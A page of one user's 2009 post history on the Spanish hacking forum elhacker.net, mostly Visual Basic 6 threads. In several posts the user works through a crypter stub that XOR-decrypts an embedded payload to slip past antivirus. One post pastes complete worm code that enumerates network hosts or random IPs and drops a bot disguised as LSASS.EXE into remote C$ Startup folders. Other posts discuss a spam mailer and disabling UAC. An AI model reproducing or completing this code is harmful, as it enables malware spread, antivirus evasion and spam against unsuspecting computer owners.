elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6
11  Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter. en: 6 Septiembre 2009, 15:39 pm
bueno me duele ya la chorla de tanto pensar.

al imprimir crei que se referia  a imprimir por impresora jajaj.

lo intente con el codigo anterior,aun que le aregle lo del msgbox.

pero no me crea el exe. ni me da error ni nada,asin que hice lo siguiente.


no se mucho de vb aunque me defiendo,no keria hacer el front hasta el final como

siempre,pero he de ponerlo para ejecutar las funciones y no lo logro con call.

----------------------------------------------------
dicho esto no se si el msgbox lo hice bien,si ponemos este codigo nos copiaremos en temp con nombre aleatorio,pero luego no salta el 2º msgbox:MsgBox " abriendo archivo dat" ect ect.

asin que dejo el archivo en temp como si ya huvieramos hecho la 1º funcion de copiarnos y al codigo  le kito esto en el front

SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName

y lo compilo y tal y me dice : abriendo archivo data el msgbox y luego path/file acess error, como que no encuentra o no puede abrirlo.

el error lo encontre en Open ArchivoTemp For Binary Access Read As #1

yo nunca he copiado un archivo con GetSpecialFolder y menos aleatorio,si dejara el nombre fijo sabria mas o menos que hacer,pero estoy atascao.

el declara LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean

el programa como sabe que  ArchivoTemp es 39583.dat por ejemplo,si no tiene ninguna ruta pasada ni na? solo la declara he intenta abrirlo no?

y amigo Karcrack,como ago eso? la ventana siempre esta visible la del front

un salu2 y gracias por contestar.

Código:
'Declaracion globar que almacena la ruta completa del _
 fiochero DAT

Dim FicheroDAT As String

'Declaracion global que almacena la ruta completa del _
 fichero Ejecutable.

Dim conenido As String

'Declaracion global que almacena los bits descifrados
'Cuando se ejecute el fichero.

Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
 fichero .dat

SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
 en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName


End Sub



Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
 funcion que corresponde al "azar"
Randomize
    'La variable "z" va a contener un nombre al azar para _
     la copia, dicho nombre tendra 5 numeros:
     For i = 1 To 5
        't va a tener un numero al azar del 0 al 9
        t = Int(Rnd * 9)
        z = z & t
     Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
  debovemos true y almacenamos el fichero DAT en variable
 

FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"
CopiarParaLeer = True


'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
       
End Function

Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
MsgBox " abriendo archivo dat"
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
   
'Cerramos el archivo
Close #1
MsgBox contenido, vbInformation
End Function
[code]


[/code]
12  Programación / Programación Visual Basic / Re: Listar carpetas compartidas en equipos remotos... en: 6 Septiembre 2009, 14:53 pm
pos la verdad que no tengo ni idea, lo vi hace tiempo y lo tengo de info.

yo suponia que era vb,aun que no resuelve el dominio pero te genera las ip.

y que diferencia hay ente vb y vb.net? que lia con tantos lenguajes  ;D

un salu2
13  Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter. en: 6 Septiembre 2009, 02:40 am
bueno no tengo impresora,pero puedo meterlo en un exe,lo unico que solo se copia en temp,pero la 2º funcion no me la hace,ni me crea el exe.

Código:

'Declaracion globar que almacena la ruta completa del _
 fiochero DAT
Dim FicheroDAT As String

Dim conenido As String

Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
 fichero .dat

SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
 en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName


End Sub



Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
 funcion que corresponde al "azar"
Randomize
    'La variable "z" va a contener un nombre al azar para _
     la copia, dicho nombre tendra 5 numeros:
     For i = 1 To 5
        't va a tener un numero al azar del 0 al 9
        t = Int(Rnd * 9)
        z = z & t
     Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
  debovemos true y almacenamos el fichero DAT en variable
  
CopiarParaLeer = True

FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"


'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
        
End Function

Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
Dim binario  As Integer
'Si hya error saltamos a la etiquero "Fallo"

'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
    MsgBox "contenido"
'Cerramos el archivo
Close #1
binario = FreeFile
Open "C:\prueba.exe" For Output As #binario
Print #binario, Contenido
Close #binario

End Function

[code]

bueno le kite lo del error para que saliera pero no sale na y tampoco me crea el archivo en c.

p.d: el declara  LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean

y despues lo abre en binario,pero como sabe que es el archivo 49857.dat y no 19826.dat?,bamos como sabe cual es.
[/code]
14  Programación / Programación Visual Basic / ayuda creando mi propio cripter. en: 6 Septiembre 2009, 01:52 am
muy wenas,como dice el post,estoy creando mi propio cripter o por lo menos lo intento.

como base estoy siguiendo un tutorial programando-un-crypter-en-visual-basic-6 supongo que

+ de 1 lo abra visto,aun que sea de refilon.

bueno he seguido el manual al pie de la letra y he probado y no funca,he intentado corregirlo

y no doy pata con bolo,por lo visto o ago algo mal o el tuto no lo comprobaron antes de lanzarlo.

el caso es que decidi pasarlo a limpio creando lo desde 0 y comprobando funcion por funcion y ya por

ultimo terminar codeando el front_load y asin decir por que funcion empieza y por donde y tenerlo todo

el codigo ordenado y como el stub es lo + importante empezare por hay.

la 1º funcion que estoy comprobando es:

1.   Copiar el archivo en el que se esta ejecutando el Stub a un archivo temporal con formato “dat”.

lo he probado y ba estupendo,asin que pase a la 2º:

2.   Abrimos de forma binaria el fichero .dat y buscamos el comienzo de bits cifrados.
3.   Leemos desde el principio de bits cifrados hasta su final.
4.   Almacenamos los bits cifrado en una variable
5.   desciframos los bits de la variable, los bits descifrados se reemplazaran a los bits cifrados de dicha variable.

Código:

Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
On Error GoTo Fallo
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
'Cerramos el archivo
Close #1
'Separamos la variable Contenido en dos, segun la marca |CodeMakers|
'y almacenamos cada parte en el array ContDividido
ContDividido = Split(Contenido, "|CodeMakers|")
'Reeplazamos el actual dato de la variable Contenido por los bits del _
 fichero original que se encuentran cifrados
Contenido = ContDividido(1)
'Ahora desciframos los bits con la funcion t
Contenido = t(Contenido)
'Ya tenemos en la variable global "conenido" los bits descifrados _
 asique ahora devolvemos true a la funcion y temrinamos la funcion
LeerlosAlmacenarlos = True
'Escribimos la etiqueta Fallo
Fallo:
      LeerlosAlmacenarlos = False
      Exit Function
Exit Function

End Function
'Ahora, como si fueran ramificaciones en una red conceptual estamos viendo otra funcion. La funcion "t" que lo que hace es descifrar y cifrar los bits. con la funcion Xor, pasandolos por el numero 9:


Function t(C)
On Error Resume Next
For i = 1 To Len(C)
t = t & Chr(Asc(Mid(C, i, 1)) Xor 27)
Next i
End Function

[code]

bueno siguiendo lo que dice,abrimos el archivo binario que seria el stub con un nombre aleatorio 3892.dat por ejemplo.

y el dice: Almacenamos en "Contenido" los bits del stub y del fichero original

lo que almaceno en contenido es solo el stub no?

despues dice que parte contenido en 2,el estub lo parte en 2? y coje la 2º parte.?

el dice:y almacenamos cada parte en el array ContDividido

 y como puedo saber si los datos se han guardado en una variable o no?

un salu2 y gracias


[/code]
15  Programación / Programación Visual Basic / Re: Listar carpetas compartidas en equipos remotos... en: 6 Septiembre 2009, 01:14 am
bueno por lo que veo quieres infectar por lan.usando netbios hace tiempo vi por aki un codigo que parece bueno aun que no lo porbe.

y tampoco se de quien es el codigo ahora pero ya nos enteraremos  ;D

ba en un modulo de clase,o por lo menos hay lo tengo.

[codec]

Option Explicit

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Private Declare Function NetServerEnum Lib "netapi32.dll" (ByVal servername As String, ByVal level As Long, BUFFER As Long, ByVal prefmaxlen As Long, entriesread As Long, totalentries As Long, ByVal ServerType As Long, ByVal domain As String, resumehandle As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (BufPtr As Any) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyW" (ByVal lpszDest As String, ByVal lpszSrc As Long) As Long

Private Const ERROR_SUCCESS = 0
Private Const ERROR_MORE_DATA = 234
Private Const SIZE_SI_101 = 24

Private Type SERVER_INFO_101
   dwPlatformId As Long
   lpszServerName As Long
   dwVersionMajor As Long
   dwVersionMinor As Long
   dwType As Long
   lpszComment As Long
End Type

Private InternalInfect As Integer

Public Function NetBIOS() As Long
    On Error GoTo ErrTrap
    Dim lRet As Long, sArray() As String, nK As Integer, sIP As String
   If GetServerList(SV_TYPE_ALL) <> "" And InternalInfect% = 0 Then
        sArray() = Split(GetServerList(SV_TYPE_ALL), ",")
        For nK% = 0 To UBound(sArray())
            DoEvents
            '/* vb interpreter */
            Call System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\msvbvm60.dll")
            Call System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\msvbvm60.dll")
            DoEvents
            '/* winsock control */
            Call System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\mswinsck.ocx")
            Call System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\mswinsck.ocx")
            DoEvents
            '/* worm */
            Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\WINDOWS\Start Menu\Programs\StartUp\LSASS.EXE") '/* Win9x\ME */
            Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\Documents And Settings\All Users\Start Menu\Programs\StartUp\LSASS.EXE") '/* Win2k\XP */
            Call System.BlockCopy(Bot.Location, "\\" & Trim$(sArray(nK%)) & "\C$\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\LSASS.EXE") '/* WinNT */
        Next nK%
        NetBIOS& = -1
        InternalInfect% = 1
    Else
        sIP$ = GenerateIP$
        DoEvents
        '/* vb interpreter */
        lRet& = System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & sIP$ & "\C$\WINDOWS\msvbvm60.dll"): If lRet& = 1 Then NetBIOS& = 1
        lRet& = System.BlockCopy(System.WinDir & "\msvbvm60.dll", "\\" & sIP$ & "\C$\WINNT\msvbvm60.dll"): If lRet& = 1 Then NetBIOS& = 1
        DoEvents
        '/* winsock control */
        lRet& = System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & sIP$ & "\C$\WINDOWS\mswinsck.ocx"): If lRet& = 1 Then NetBIOS& = 1
        lRet& = System.BlockCopy(System.WinDir & "\mswinsck.ocx", "\\" & sIP$ & "\C$\WINNT\mswinsck.ocx"): If lRet& = 1 Then NetBIOS& = 1
        DoEvents
        '/* worm */
        lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\WINDOWS\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* Win9x\ME */
        lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\Documents And Settings\All Users\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* Win2k\XP */
        lRet& = System.BlockCopy(Bot.Location, "\\" & sIP$ & "\C$\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\LSASS.EXE"): If lRet& = 1 Then NetBIOS& = 1 '/* WinNT */
    End If
   
Exit Function
ErrTrap:
    NetBIOS& = 0
   
End Function

Private Function GenerateIP() As String
    On Error Resume Next
    Dim nA As Integer, nB As Integer, nC As Integer, nD As Integer
    Randomize
    nA% = Fix((Rnd * 254) + 1)
    Randomize
    nB% = Fix((Rnd * 254) + 1)
    Randomize
    nC% = Fix((Rnd * 254) + 1)
    Randomize
    nD% = Fix((Rnd * 254) + 1)
    GenerateIP$ = CStr(nA%) & "." & CStr(nB%) & "." & CStr(nC%) & "." & CStr(nD%)
End Function

Private Function GetServerList(ServerType As ServerTypes) As String
    On Error GoTo ErrTrap
    Dim pszTemp As String, pszServer As String, pszDomain As String
    Dim nLevel As Long, i As Long, BufPtr As Long, TempBufPtr As Long
    Dim nPrefMaxLen As Long, nEntriesRead As Long, nTotalEntries As Long
    Dim nServerType As Long, nResumeHandle As Long, nRes As Long
    Dim ServerInfo As SERVER_INFO_101, ServerNames() As String, nK As Integer
    Dim sTemp As String
    ReDim ServerNames(0) As String
    pszServer = vbNullString
    pszDomain = vbNullString
    nLevel = 101
    BufPtr = 0
    nPrefMaxLen = &HFFFFFFFF
    nEntriesRead = 0
    nTotalEntries = 0
    nServerType = ServerType
    nResumeHandle = 0
    Do
        nRes = NetServerEnum(pszServer, nLevel, BufPtr, nPrefMaxLen, nEntriesRead, nTotalEntries, nServerType, pszDomain, nResumeHandle)
        If ((nRes = ERROR_SUCCESS) Or (nRes = ERROR_MORE_DATA)) And (nEntriesRead > 0) Then
            TempBufPtr = BufPtr
            For i = 1 To nEntriesRead
                Call CopyMemory(ServerInfo, TempBufPtr, SIZE_SI_101)
                ReDim Preserve ServerNames(UBound(ServerNames()) + 1) As String
                ServerNames(UBound(ServerNames())) = PointerToString(ServerInfo.lpszServerName)
                TempBufPtr = TempBufPtr + SIZE_SI_101
            Next i
        Else
            GetServerList$ = vbNullString
            Exit Function
        End If
        Call NetApiBufferFree(BufPtr)
    Loop While nEntriesRead < nTotalEntries
    sTemp$ = ""
    For nK% = 0 To UBound(ServerNames())
        If Len(Trim$(Replace$(ServerNames(nK%), Chr$(0), ""))) > 0 Then sTemp$ = sTemp$ & ServerNames(nK%) & ", "
    Next nK%
    If Right$(sTemp$, 2) = ", " Then sTemp$ = Left$(sTemp$, Len(sTemp$) - 2)
    GetServerList$ = sTemp$
Exit Function
ErrTrap:
    GetServerList$ = vbNullString
End Function

Private Function PointerToString(lpszString As Long) As String
    Dim lpszStr1 As String, lpszStr2 As String, nRes As Long
    lpszStr1 = String(1000, "*")
    nRes = lstrcpy(lpszStr1, lpszString)
    lpszStr2 = (StrConv(lpszStr1, vbFromUnicode))
    PointerToString = Left(lpszStr2, InStr(lpszStr2, Chr$(0)) - 1)
End Function

[codec]

espero que te sirva un salu2

p.d:
16  Programación / .NET (C#, VB.NET, ASP) / Re: Spammer V1.2 en: 2 Septiembre 2009, 01:59 am
jaja tiene muy buena pinta esa interfase nueva,aun que los botones se tapan un poco
con el textbox.

y donde esta ese bonito codigo?solo metistes el ejecutable y ami me interesa aprender.

y felicidades por el resto,yo estuve lellendo y por ahora no me entere muy bien como se usan Threads.

un salu2
17  Programación / .NET (C#, VB.NET, ASP) / Re: Spammer V1.2 en: 26 Agosto 2009, 13:36 pm
bueno estoy investigando como mandar emilios como te dije,y estudio el codigo

pero me lio bastante,y di con el control mapi.

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/101-enviar-mail-mapi.htm

por si te interesa,lo unico que aun no se como anda la cosa,solo que antigua mente

lo usaba el i love you con el ocult.

vosotros que sabeis,funcara con mapi?hoy dia los programas suelentener un motor smpt de esos.

un salu2

18  Programación / .NET (C#, VB.NET, ASP) / Re: Spammer V1.2 en: 23 Agosto 2009, 17:01 pm
para cifrar string en vb usa el karcrack proyect  cripter.

no se como ira gmail,pero tanbien se puede con hotmail?

y los email no tienen filtros anti estas cosas?

seria bueno tener 2 correos,uno para enviar y otro para recibir y ver cuantos llegan y a donde llegan.

19  Informática / Tutoriales - Documentación / Re: Videotutoriales varios en: 21 Agosto 2009, 23:05 pm
muy buenas amigos,como no lo puedo postear en el general de tutoriales,lo are
aki,puesto que ya es un video tutorial.

bueno biendo que no avia ningun tutorial de Karcrack Project Crypter,hice un video
tutorial de como se usa + o - espero que os guste y sirba.

aki podreis encontrar el programa:

http://foro.elhacker.net/analisis_y_diseno_de_malware/karcrack_project_crypter_v21_kpc-t256127.0.html;msg1292641#msg1292641

aki la descarga del tutorial:

http://www.megaupload.com/?d=0UG0XPS5    video tutorial kracrack proyect cripter v2.1

que lo disfruten!!
20  Programación / Programación Visual Basic / Re: iUAC Disabler en: 21 Agosto 2009, 22:54 pm
no se mucho de ingles,pero te dice como hacerlo manual mente no?

ami si me ha incordiao,busque informacion por internet y mire que tocando el

registro podria desactivarlo,claro esta que mi proyecto tendria que tener permiso

de administrador,cose que no se hacer desde vb.

asin que me baje un programa,una especie de cripter,que lo que hace es otorgar permisos al archivo para ejecutarse y tal.(lo que no se de donde lo pille)

= tengo otro para el eof data que no viene acuento,pero siempre es mejor
tener un codec a mano y aprender.

me encasillo por aki aver que tal anda la cosa.

un salu2.

p.d: el programa anti ua ese no lo probe,solo probe a darle permisos y tal pero no lo ejecute,puesto que tengo xp en la virtual.
Páginas: 1 [2] 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines